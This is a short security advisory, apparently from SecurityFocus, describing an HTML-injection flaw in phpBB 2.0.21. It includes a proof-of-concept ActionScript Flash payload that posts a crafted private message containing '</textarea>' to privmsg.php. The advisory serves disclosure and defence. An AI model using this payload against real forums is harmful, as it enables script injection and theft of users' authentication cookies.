source: https://www.securityfocus.com/bid/22001/info
phpBB is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
Version 2.0.21 is vulnerable; other versions may also be affected.
Create a Shockwave Flash file with this code:
var username:String = "user_that_doesnt_exist";
var subject:String = "Xss Exploitation";
var message:String = "</textarea>";
var folder:String = "inbox";
var mode:String = "post";
var post:String = "Submit";
getURL("http://www.example.com/phpBB2/privmsg.php", "_self", "POST");
Put it into a web page:
Put a title here
Put some text here